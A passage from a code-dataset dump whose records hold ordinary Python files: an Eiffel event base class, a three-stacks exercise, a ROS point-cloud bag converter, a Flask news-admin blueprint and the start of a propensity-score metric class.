{"api_name": "numpy.int", "line_number": 262, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 264, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 294, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 304, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 312, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 327, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 341, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 356, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 361, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 372, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 387, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 402, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 407, "usage_type": "attribute"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 417, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 420, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 421, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 428, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 429, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 438, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 443, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 444, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 451, "usage_type": "attribute"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 458, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 463, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 470, "usage_type": "attribute"}]}
{"seq_id": "73458003106", "text": "import os\nimport json\nimport uuid\nimport time\nfrom jsonschema import validate\nfrom eiffellib import BASE_PATH\n\n# We're inheriting 'object' which is unnecessary with python3,\n# however since this package shall be usable with both python2\n# and python3 we still need to keep these.\n# pylint:disable=useless-object-inheritance\n\n\nclass EiffelBaseMeta(object):\n    \"\"\"Eiffel base meta object.\"\"\"\n\n    def __init__(self, _type, version):\n        \"\"\"Initialize with event type and version.\"\"\"\n        self.type = _type\n        self.version = version\n        self.event_id = str(uuid.uuid4())\n        self.time = int(round(time.time() * 1000))\n        self.optional = []\n\n    def add(self, key, value):\n        \"\"\"Add an optional meta parameter.\n\n        :param key: Key to add.\n        :type key: str\n        :param value: Value for specific key.\n        :type value: Any\n        \"\"\"\n        self.optional.append((key, value))\n\n    def rebuild(self, meta):\n        \"\"\"Rebuild meta object with new data.\n\n        This can be used to rebuild an event using json data\n        received from the eiffel consumer.\n\n        :param meta: Meta data to rebuild with.\n        :type meta: dict\n        \"\"\"\n        self.type = meta.pop(\"type\")\n        self.version = meta.pop(\"version\")\n        self.time = meta.pop(\"time\")\n        self.event_id = meta.pop(\"id\")\n        for key, value in meta.items():\n            self.add(key, value)\n\n    @property\n    def json(self):\n        \"\"\"Meta object as a dict.\n\n        :return: This meta class as a json serializable dict.\n        :rtype: dict\n        \"\"\"\n        meta_json = {\"type\": self.type,\n                     \"version\": self.version,\n                     \"id\": str(self.event_id),\n                     \"time\": self.time}\n        for key, value in self.optional:\n            meta_json[key] = value\n        return meta_json\n\n\nclass EiffelBaseLink(object):\n    \"\"\"Eiffel base link object.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize with a possible types dict and links list.\"\"\"\n        self.links = []\n\n    def add(self, _type, target):\n        \"\"\"Validate and add link to class.\n\n        Note: Only validates event type if target is an event.\n\n        :param _type: Link type to add.\n        :type _type: str\n        :param target: Target for the link.\n        :type target: :obj:`EiffelBaseEvent` or str\n        \"\"\"\n        if isinstance(target, str):\n            target_id = target\n        else:\n            target_id = target.meta.event_id\n        self.links.append({\"type\": _type, \"target\": target_id})\n\n    def rebuild(self, links):\n        \"\"\"Rebuild links object with new data.\n\n        This can be used to rebuild an event using json data\n        received from the eiffel consumer.\n\n        :param links: Links data to rebuild with.\n        :type links: list\n        \"\"\"\n        self.links = []\n        for link in links:\n            self.add(link.get(\"type\"), link.get(\"target\"))\n\n    @property\n    def json(self):\n        \"\"\"Json serializable list of links.\n\n        :return: List of links.\n        :rtype: list\n        \"\"\"\n        return self.links\n\n\nclass EiffelBaseData(object):\n    \"\"\"Eiffel base data object.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initialize with a data dictionary.\"\"\"\n        self.data = {}\n\n    def add(self, key, value):\n        \"\"\"Add data to object.\n\n        :param key: Key to add data to.\n        :type key: str\n        :param value: Value for key.\n        :type value: Any\n        \"\"\"\n        self.data[key] = value\n\n    def rebuild(self, data):\n        \"\"\"Rebuild data object with new data.\n\n        This can be used to rebuild an event using json data\n        received from the eiffel consumer.\n\n        :param data: Data to rebuild with.\n        :type data: dict\n        \"\"\"\n        self.data = data\n\n    @property\n    def json(self):\n        \"\"\"Json serializable list of data.\n\n        :return: Dictionary of data.\n        :rtype: dict\n        \"\"\"\n        return self.data\n\n\nclass EiffelBaseEvent(object):\n    \"\"\"Eiffel base event object.\"\"\"\n\n    schema_file = None\n    __schema = None\n    __routing_key = \"eiffel.{family}.{type}.{tag}.{domain_id}\"\n    family = \"_\"\n    tag = \"_\"\n    domain_id = \"_\"\n    version = \"0.0.1\"\n    meta = EiffelBaseMeta(__qualname__, version)\n    links = EiffelBaseLink()\n\n    def __init__(self, version=None, family=\"_\", tag=\"_\", domain_id=\"_\"):\n        \"\"\"Initialize with a base data object.\n\n        :param version: If not None use this version when loading json schemas.\n        :type version: str\n        :param family: Routing key family as per the sepia recommendation. Defaults to \"_\".\n        :type family: str\n        :param tag: Routing key tag as per the sepia recommendation. Defaults to \"_\".\n        :type tag: str\n        :param domain_id: Routing key domain id as per the sepia recommendation. Defaults to \"_\".\n        :type domain_id: str\n        \"\"\"\n        if version is not None:\n            self.version = version\n        self.family = family\n        self.tag = tag\n        self.domain_id = domain_id\n        self.data = EiffelBaseData()\n        self.load_schema(self.version)\n\n    def rebuild(self, json_data):\n        \"\"\"Rebuild event using json data.\n\n        Calls the meta, data and links objects rebuild methods\n        with data input.\n        This can be used to rebuild an event using json data\n        received from the eiffel consumer.\n\n        :param json_data: Data to rebuild with.\n        :type json_data: dict\n        \"\"\"\n        self.meta.rebuild(json_data.get(\"meta\", {}))\n        self.data.rebuild(json_data.get(\"data\", {}))\n        self.links.rebuild(json_data.get(\"links\", []))\n        self.load_schema(self.meta.version)\n        self.validate()\n\n    @property\n    def routing_key(self):\n        \"\"\"The official sepia routing key for this event.\"\"\"\n        return self.__routing_key.format(\n            family=self.family,\n            type=self.meta.type,\n            tag=self.tag,\n            domain_id=self.domain_id\n        )\n\n    @property\n    def json(self):\n        \"\"\"Json serializable eiffel event.\"\"\"\n        return {\"meta\": self.meta.json,\n                \"data\": self.data.json,\n                \"links\": self.links.json}\n\n    def load_schema(self, version):\n        \"\"\"Load a schema file path based on event name and version.\n\n        :param version: Version of eiffel event to validate against.\n        :type version: str\n        \"\"\"\n        self.schema_file = os.path.join(BASE_PATH, \"schemas\",\n                                        self.__class__.__name__,\n                                        \"{}.json\".format(version))\n\n    @property\n    def schema(self):\n        \"\"\"Json schema for the current event.\"\"\"\n        if not self.__schema:\n            with open(self.schema_file) as schema_file:\n                self.__schema = json.load(schema_file)\n        return self.__schema\n\n    def validate(self):\n        \"\"\"Validate the json data in the eiffel event.\n\n        :raises: ValidationError.\n        \"\"\"\n        validate(self.json, self.schema)\n\n    @property\n    def serialized(self):\n        \"\"\"Json data serialized to string.\n\n        :return: Json string.\n        :rtype: str\n        \"\"\"\n        return json.dumps(self.json)\n\n    @property\n    def pretty(self):\n        \"\"\"Pretty version of the json data.\n\n        :return: Pretty formatted json.\n        :rtype: str\n        \"\"\"\n        return json.dumps(self.json, indent=4, sort_keys=True)\n", "repo_name": "eiffel-community/eiffel-pythonlib", "sub_path": "src/eiffellib/events/eiffel_base_event.py", "file_name": "eiffel_base_event.py", "file_ext": "py", "file_size_in_byte": 7417, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "70", "api": [{"api_name": "uuid.uuid4", "line_number": 21, "usage_type": "call"}, {"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 224, "usage_type": "call"}, {"api_name": "eiffellib.BASE_PATH", "line_number": 224, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 224, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 233, "usage_type": "call"}, {"api_name": "jsonschema.validate", "line_number": 241, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 250, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 259, "usage_type": "call"}]}
{"seq_id": "9613720181", "text": "from nose.tools import assert_equal\n\n\nclass Empty(Exception):\n    pass\n\n\nclass ThreeStacks:\n    MAX_SIZE = 10\n    def __init__(self):\n        self._data = [None] * (self.MAX_SIZE * 3)\n        self.stack_size = {0: 0, 1: 0, 2: 0}\n\n    def top_index(self, stack_num):\n        \"\"\"\n        stack1:\n        :param stack_num:\n        :return:\n        \"\"\"\n        # 0-10, 10-20, 20-30\n        return stack_num * self.MAX_SIZE\n\n    def push(self, stack_num, e):\n        if self.stack_size[stack_num] == self.MAX_SIZE:\n            raise Exception(\"Stack is full\")\n        index = stack_num * self.MAX_SIZE + self.stack_size[stack_num]\n        self.stack_size[stack_num] += 1\n        self._data[index] = e\n\n    def is_empty(self, stack_num):\n        return self.stack_size[stack_num] == 0\n\n    def pop(self, stack_num):\n        if self.is_empty(stack_num):\n            raise Empty(\"Stock is empty\")\n        index = stack_num * self.MAX_SIZE + self.stack_size[stack_num] - 1\n        self.stack_size[stack_num] -= 1\n        element = self._data[index]\n        self._data[index] = None\n        return element\n\nif __name__ == \"__main__\":\n    ts = ThreeStacks()\n    ts.push(0, 4)\n    ts.push(1, 6)\n    ts.push(2, 7)\n    assert_equal(ts.pop(0), 4)\n    assert_equal(ts.pop(1), 6)\n    assert_equal(ts.pop(2), 7)\n    ts.push(0, 7)\n    ts.push(0, 8)\n    ts.push(1, 9)\n    ts.push(1, 6)\n    ts.push(2, 7)\n    ts.push(2, 11)\n    assert_equal(ts.pop(0), 8)\n    assert_equal(ts.pop(1), 6)\n    assert_equal(ts.pop(2), 11)\n    print(\"Success ...\")\n", "repo_name": "tahir24434/py-ds-algo", "sub_path": "CrackingTheCodeInterview/StackAndQueues/3.1_three_in_one.py", "file_name": "3.1_three_in_one.py", "file_ext": "py", "file_size_in_byte": 1522, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nose.tools.assert_equal", "line_number": 47, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 48, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 49, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 56, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 57, "usage_type": "call"}, {"api_name": "nose.tools.assert_equal", "line_number": 58, "usage_type": "call"}]}
{"seq_id": "11720482449", "text": "import os \r\nimport numpy as np\r\nimport rospy\r\nfrom scipy.spatial.transform import Rotation\r\nimport rosbag \r\n\r\nimport open3d as o3d\r\n\r\nbagfile = \"/home/ajay/catkin_ws_rmap/coloradar/outdoors_run0.bag\"\r\nout_bagfile = \"/home/ajay/catkin_ws_rmap/coloradar/outdoor0.bag\"\r\n# pcd_folder = \"/home/ajay/ARPG/RMap/Grad-PU/output/2023-06-23T16:54:19.443319/test/ec_run0_radar_RScan_16\"\r\npcd_folder = \"/home/ajay/catkin_ws_rmap/coloradar/outdoors_run0/lidar/original\"\r\npcd_files = sorted(os.listdir(pcd_folder))\r\npcd_files = [f for f in pcd_files if f.endswith(\".ply\")]\r\n# out_folder = \"/home/ajay/ARPG/RMap/Grad-PU/output/2023-06-23T16:54:19.443319/test/ec_run0_radar_Lidar16x_GTPose\"\r\n# if not os.path.exists(out_folder):\r\n#     os.makedirs(out_folder)\r\ngt_odom = []\r\ngt_ts = []\r\n\r\n\r\ndef pcd2msg(points, msg):\r\n    cloud_msg = msg\r\n    cloud_msg.height = 1\r\n    cloud_msg.width = len(points)\r\n    cloud_msg.fields = msg.fields[0:3]\r\n    cloud_msg.point_step = 12\r\n    \r\n    cloud_msg.row_step = 12*len(points)\r\n    cloud_msg.header.frame_id = \"os1_sensor\"\r\n    # Convert the points to binary data with little-endian byte order\r\n    cloud_msg.data = np.asarray(points, np.float32).byteswap().tostring()\r\n    return cloud_msg\r\n\r\n\r\n\r\n#bag = rosbag.Bag(bagfile)\r\n#out_bag = rosbag.Bag(out_bagfile, 'w')\r\nos1_sensor2lidar = {}\r\nos1_sensor2lidar['translation'] = np.array([0,0,0.03618])\r\nos1_sensor2lidar['quaternion'] = np.array([0,0,1,0])\r\nos1_sensor2lidar['rotation'] = Rotation.from_quat(os1_sensor2lidar['quaternion']).as_matrix()\r\ntransformation_matrix = np.identity(4)\r\ntransformation_matrix[:3, :3] = os1_sensor2lidar['rotation']\r\ntransformation_matrix[:3, 3] = os1_sensor2lidar['translation']\r\n\r\nos1_sensor2lidar['transformation'] = transformation_matrix\r\nos1_sensor2lidar['inverse_transformation'] = np.linalg.inv(transformation_matrix)\r\n\r\n\r\nindex=0\r\n\r\nwith rosbag.Bag(bagfile, 'r') as input_bag:\r\n    with rosbag.Bag(out_bagfile, 'w') as output_bag:\r\n        for topic, msg, time in input_bag.read_messages():\r\n            if topic == \"/os1_cloud_node/points\":\r\n                pcd = o3d.io.read_point_cloud(os.path.join(pcd_folder, pcd_files[index]))\r\n                pcd = pcd.transform(os1_sensor2lidar['inverse_transformation'])\r\n                index += 1\r\n                points = pcd.points\r\n                pcd_msg = pcd2msg(points, msg)\r\n                output_bag.write(\"/os1_cloud_node/points/original\", pcd_msg, time)\r\n                print(index)\r\n            \r\n            output_bag.write(topic, msg, time)\r\n\r\n", "repo_name": "ajaymopidevi/RMap", "sub_path": "utils/ply2ROS_lidar.py", "file_name": "ply2ROS_lidar.py", "file_ext": "py", "file_size_in_byte": 2520, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.listdir", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation.from_quat", "line_number": 42, "usage_type": "call"}, {"api_name": "scipy.spatial.transform.Rotation", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.identity", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 48, "usage_type": "attribute"}, {"api_name": "rosbag.Bag", "line_number": 53, "usage_type": "call"}, {"api_name": "rosbag.Bag", "line_number": 54, "usage_type": "call"}, {"api_name": "open3d.io.read_point_cloud", "line_number": 57, "usage_type": "call"}, {"api_name": "open3d.io", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}]}
{"seq_id": "18344545554", "text": "# -*- coding: utf-8 -*-\nfrom flask import Blueprint, request, redirect, jsonify, g, render_template\nfrom common.libs.Helper import ops_render, getCurrentDate, iPagination, getDictField\nfrom application import app, db\nfrom common.models.news.News import News\nfrom common.libs.UrlManager import UrlManager\nfrom decimal import Decimal\nfrom sqlalchemy import or_\nroute_news = Blueprint( 'news_page',__name__ )\n\n# 通知首页\n@route_news.route( \"/index\" )\ndef index():\n    resp_data = {}\n    req = request.values\n    page = int(req['p']) if ('p' in req and req['p']) else 1  # 当前页号，默认为1\n    query = News.query\n\n    # 用户搜索处理\n    if 'mix_kw' in req:\n        rule = or_(News.name.ilike(\"%{0}%\".format(req['mix_kw'])),\n                   News.tags.ilike(\"%{0}%\".format(req['mix_kw'])))  # 需要导入 sqlalchemy import or_   or 查询\n        # ilike 不区分大小写 对用户名或手机号查询 or为混合查询\n        query = query.filter(rule)\n    # 用户账号有效无效查询\n    if 'status' in req and int(req['status']) > -1:\n        query = query.filter(News.status == int(req['status']))\n\n    if 'cat_id' in req and int(req['cat_id']) > 0:\n        query = query.filter(News.cat_id == int(req['cat_id']))\n\n    # 分页参数\n    page_params = {\n        'total': query.count(),  # 统计账号总数\n        'page_size': app.config['PAGE_SIZE'],  # 每页显示账号数\n        'page': page,\n        'display': app.config['PAGE_DISPLAY'],  # 展示总页数\n        'url': request.full_path.replace(\"&p={}\".format(page), \"\")\n    }\n    pages = iPagination(page_params)  # 分页操作\n    offset = (page - 1) * app.config['PAGE_SIZE']  # 偏移量，第二页从50开始，第三页从101开始\n    list = query.order_by(News.id.desc()).offset(offset).limit(app.config['PAGE_SIZE']).all()  # 使用uid字段倒序排  # .all()  为取出所有的数据 然后存到列表list\n\n    # cat_mapping = getDictField(FoodCat,\"id\",\"id\",[])\n    resp_data['list'] = list\n    resp_data['pages'] = pages\n    resp_data['search_con'] = req  # 搜索框内容\n    resp_data['status_mapping'] = app.config['STATUS_MAPPING']\n    # resp_data['cat_mapping'] = cat_mapping\n    resp_data['current'] = 'index'\n    return ops_render( \"news/index.html\", resp_data)\n\n# 通知内容详情展示页面\n@route_news.route( \"/info\" )\ndef info():\n    resp_data = {}\n    req = request.args  # 参数多时用values ,参数少时用args\n    id = int(req.get(\"id\",0))\n    reback_url = UrlManager.buildUrl(\"/news/index\")\n    if id < 1:\n        return redirect(reback_url)\n    info = News.query.filter_by(id=id).first()\n    if not info:\n        return redirect(reback_url)\n\n    # stock_change_list = FoodStockChangeLog.query.filter(FoodStockChangeLog.food_id == id).order_by(FoodStockChangeLog.id.desc()).all()\n    resp_data['info'] = info\n    # resp_data['stock_change_list'] = stock_change_list\n    resp_data['current'] = 'index'\n    return ops_render( \"news/info.html\", resp_data )\n\n\n# 通知详情编辑\n@route_news.route( \"/set\",methods=[\"GET\", \"POST\"] )\ndef set():\n    if request.method == \"GET\":\n        resp_data = {}\n        req = request.args  # 参数多时用values ,参数少时用args\n        id = req['id'] if 'id' in req else 0\n        info = News.query.filter_by(id=id).first()\n        if info and info.status !=1:\n            return redirect(UrlManager.buildUrl(\"/news/index\"))\n\n        resp_data['info'] = info\n        resp_data['current'] = 'index'\n        return ops_render(\"news/set.html\", resp_data)\n\n    # 下面是POST处理\n    resp = {'code': 200, 'msg': '操作成功', 'data': ''}\n    req = request.values                                    # 参数多时用values ,参数少时用args\n    id = req['id'] if 'id' in req else 0                    # 获取当前用户id\n    name = req['name'] if 'name' in req else ''\n    summary = req['summary'] if 'summary' in req else ''\n    tags = req['tags'] if 'tags' in req else ''\n\n    if name is None or len(name) < 1:\n        resp['code'] = -1\n        resp['msg'] = \"请输入符合规范的名称\"\n        return jsonify(resp)\n    if summary is None or len(summary) < 3:\n        resp['code'] = -1\n        resp['msg'] = \"请输入符合规范的内容描述\"\n        return jsonify(resp)\n    food_info = News.query.filter_by(id=id).first()\n    if food_info:\n        model_food = food_info\n    else:\n        model_food = News()\n        model_food.status = 1\n        model_food.created_time = getCurrentDate()\n\n    model_food.name = name\n    model_food.summary = summary\n    model_food.tags = tags\n    model_food.updated_time = getCurrentDate()\n    db.session.add(model_food)\n    try:\n        db.session.commit()\n    except Exception as e:\n        print(e)\n        resp['code'] = -1\n        resp['msg'] = \"提交数据库出错\"\n        db.session.rollback()\n\n    return jsonify(resp)\n\n# 删除恢复通知操作\n@route_news.route(\"/ops\", methods=[\"POST\"])\ndef ops():\n    resp = {'code': 200, 'msg': '操作成功', 'data': ''}\n    req = request.values\n\n    id = req['id'] if 'id' in req else 0\n    act = req['act'] if 'act' in req else ''\n    if not id:\n        resp['code'] = -1\n        resp['msg'] = \"请选择要操作的通知\"\n        return jsonify(resp)\n    if act not in ['remove', 'recover']:\n        resp['code'] = -1\n        resp['msg'] = \"操作有误，请重试\"\n        return jsonify(resp)\n\n    food_info = News.query.filter_by(id=id).first()\n    if not food_info:\n        resp['code'] = -1\n        resp['msg'] = \"指定通知不存在，请重试\"\n        return jsonify(resp)\n    if act == \"remove\":\n        food_info.status = 0\n    elif act == \"recover\":\n        food_info.status = 1\n\n    # 提交信息\n    food_info.update_time = getCurrentDate()\n    db.session.add(food_info)\n    db.session.commit()\n    return jsonify(resp)\n\n", "repo_name": "yiruizhixing/order", "sub_path": "web/controllers/news/News.py", "file_name": "News.py", "file_ext": "py", "file_size_in_byte": 5821, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask.Blueprint", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "common.models.news.News.News.query", "line_number": 17, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 17, "usage_type": "name"}, {"api_name": "sqlalchemy.or_", "line_number": 21, "usage_type": "call"}, {"api_name": "common.models.news.News.News.name.ilike", "line_number": 21, "usage_type": "call"}, {"api_name": "common.models.news.News.News.name", "line_number": 21, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 21, "usage_type": "name"}, {"api_name": "common.models.news.News.News.tags.ilike", "line_number": 22, "usage_type": "call"}, {"api_name": "common.models.news.News.News.tags", "line_number": 22, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 22, "usage_type": "name"}, {"api_name": "common.models.news.News.News.status", "line_number": 27, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 27, "usage_type": "name"}, {"api_name": "common.models.news.News.News.cat_id", "line_number": 30, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 30, "usage_type": "name"}, {"api_name": "application.app.config", "line_number": 35, "usage_type": "attribute"}, {"api_name": "application.app", "line_number": 35, "usage_type": "name"}, {"api_name": "application.app.config", "line_number": 37, "usage_type": "attribute"}, {"api_name": "application.app", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.full_path.replace", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.full_path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "common.libs.Helper.iPagination", "line_number": 40, "usage_type": "call"}, {"api_name": "application.app.config", "line_number": 41, "usage_type": "attribute"}, {"api_name": "application.app", "line_number": 41, "usage_type": "name"}, {"api_name": "common.models.news.News.News.id.desc", "line_number": 42, "usage_type": "call"}, {"api_name": "common.models.news.News.News.id", "line_number": 42, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 42, "usage_type": "name"}, {"api_name": "application.app.config", "line_number": 42, "usage_type": "attribute"}, {"api_name": "application.app", "line_number": 42, "usage_type": "name"}, {"api_name": "application.app.config", "line_number": 48, "usage_type": "attribute"}, {"api_name": "application.app", "line_number": 48, "usage_type": "name"}, {"api_name": "common.libs.Helper.ops_render", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 57, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 57, "usage_type": "name"}, {"api_name": "common.libs.UrlManager.UrlManager.buildUrl", "line_number": 59, "usage_type": "call"}, {"api_name": "common.libs.UrlManager.UrlManager", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 61, "usage_type": "call"}, {"api_name": "common.models.news.News.News.query.filter_by", "line_number": 62, "usage_type": "call"}, {"api_name": "common.models.news.News.News.query", "line_number": 62, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 64, "usage_type": "call"}, {"api_name": "common.libs.Helper.ops_render", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 76, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "common.models.news.News.News.query.filter_by", "line_number": 80, "usage_type": "call"}, {"api_name": "common.models.news.News.News.query", "line_number": 80, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 82, "usage_type": "call"}, {"api_name": "common.libs.UrlManager.UrlManager.buildUrl", "line_number": 82, "usage_type": "call"}, {"api_name": "common.libs.UrlManager.UrlManager", "line_number": 82, "usage_type": "name"}, {"api_name": "common.libs.Helper.ops_render", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 90, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 90, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 99, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 103, "usage_type": "call"}, {"api_name": "common.models.news.News.News.query.filter_by", "line_number": 104, "usage_type": "call"}, {"api_name": "common.models.news.News.News.query", "line_number": 104, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 104, "usage_type": "name"}, {"api_name": "common.models.news.News.News", "line_number": 108, "usage_type": "call"}, {"api_name": "common.libs.Helper.getCurrentDate", "line_number": 110, "usage_type": "call"}, {"api_name": "common.libs.Helper.getCurrentDate", "line_number": 115, "usage_type": "call"}, {"api_name": "application.db.session.add", "line_number": 116, "usage_type": "call"}, {"api_name": "application.db.session", "line_number": 116, "usage_type": "attribute"}, {"api_name": "application.db", "line_number": 116, "usage_type": "name"}, {"api_name": "application.db.session.commit", "line_number": 118, "usage_type": "call"}, {"api_name": "application.db.session", "line_number": 118, "usage_type": "attribute"}, {"api_name": "application.db", "line_number": 118, "usage_type": "name"}, {"api_name": "application.db.session.rollback", "line_number": 123, "usage_type": "call"}, {"api_name": "application.db.session", "line_number": 123, "usage_type": "attribute"}, {"api_name": "application.db", "line_number": 123, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 125, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 131, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 131, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 138, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 142, "usage_type": "call"}, {"api_name": "common.models.news.News.News.query.filter_by", "line_number": 144, "usage_type": "call"}, {"api_name": "common.models.news.News.News.query", "line_number": 144, "usage_type": "attribute"}, {"api_name": "common.models.news.News.News", "line_number": 144, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 148, "usage_type": "call"}, {"api_name": "common.libs.Helper.getCurrentDate", "line_number": 155, "usage_type": "call"}, {"api_name": "application.db.session.add", "line_number": 156, "usage_type": "call"}, {"api_name": "application.db.session", "line_number": 156, "usage_type": "attribute"}, {"api_name": "application.db", "line_number": 156, "usage_type": "name"}, {"api_name": "application.db.session.commit", "line_number": 157, "usage_type": "call"}, {"api_name": "application.db.session", "line_number": 157, "usage_type": "attribute"}, {"api_name": "application.db", "line_number": 157, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 158, "usage_type": "call"}]}
{"seq_id": "35268739849", "text": "import random\n\nfrom mob_data_anonymizer.measures_methods.MeasuresMethodInterface import MeasuresMethodInterface\nfrom mob_data_anonymizer.entities.Dataset import Dataset\nfrom skmob.tessellation import tilers\nimport pandas as pd\nimport numpy as np\nfrom pandas import DateOffset\nfrom datetime import datetime\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split\nimport xgboost as xgb\nfrom bisect import bisect_left\nimport logging\n\nDEFAULT_VALUES = {\n    'tiles_size': 200\n}\n\n\nclass PropensityScore(MeasuresMethodInterface):\n    def __init__(self, original_dataset: Dataset, anom_dataset: Dataset,\n                 tiles_size=DEFAULT_VALUES['tiles_size'],\n                 time_interval=None,\n                 seed=None):\n        self.original_dataset = original_dataset\n        self.anom_dataset = anom_dataset\n        self.tiles_size = tiles_size\n        self.time_interval = time_interval\n        self.results = {}\n        self.seed = seed\n\n    def run(self):\n        self.results[\"propensity\"] = round(self.get_propensity_score(self.tiles_size, self.time_interval), 4)\n        logging.info(f'Propensity score: {self.results[\"propensity\"]}')\n\n    def get_result(self):\n        return self.results\n\n    def get_propensity_score(self, tiles_size=200, time_interval=None):\n\n        # Setup seed\n        if self.seed is not None:\n            random.seed(self.seed)\n            np.random.seed(self.seed)\n\n        # Compute tessellation and data ranges for the original dataset\n        logging.info(f\"Tessellation\")\n\n        tessellation = tilers.tiler.get(\"squared\", base_shape=self.original_dataset.get_bounding_box(),\n                                        meters=tiles_size)\n        tessellation['tile_ID'] = pd.to_numeric(tessellation['tile_ID'])\n\n        datetime_ranges = None\n        if time_interval:\n            logging.info(\"Time tessellation\")\n            offset = DateOffset(seconds=time_interval)\n\n            min_datetime = datetime.fromtimestamp(self.original_dataset.get_min_timestamp(),\n                                                  self.original_dataset.timezone)\n   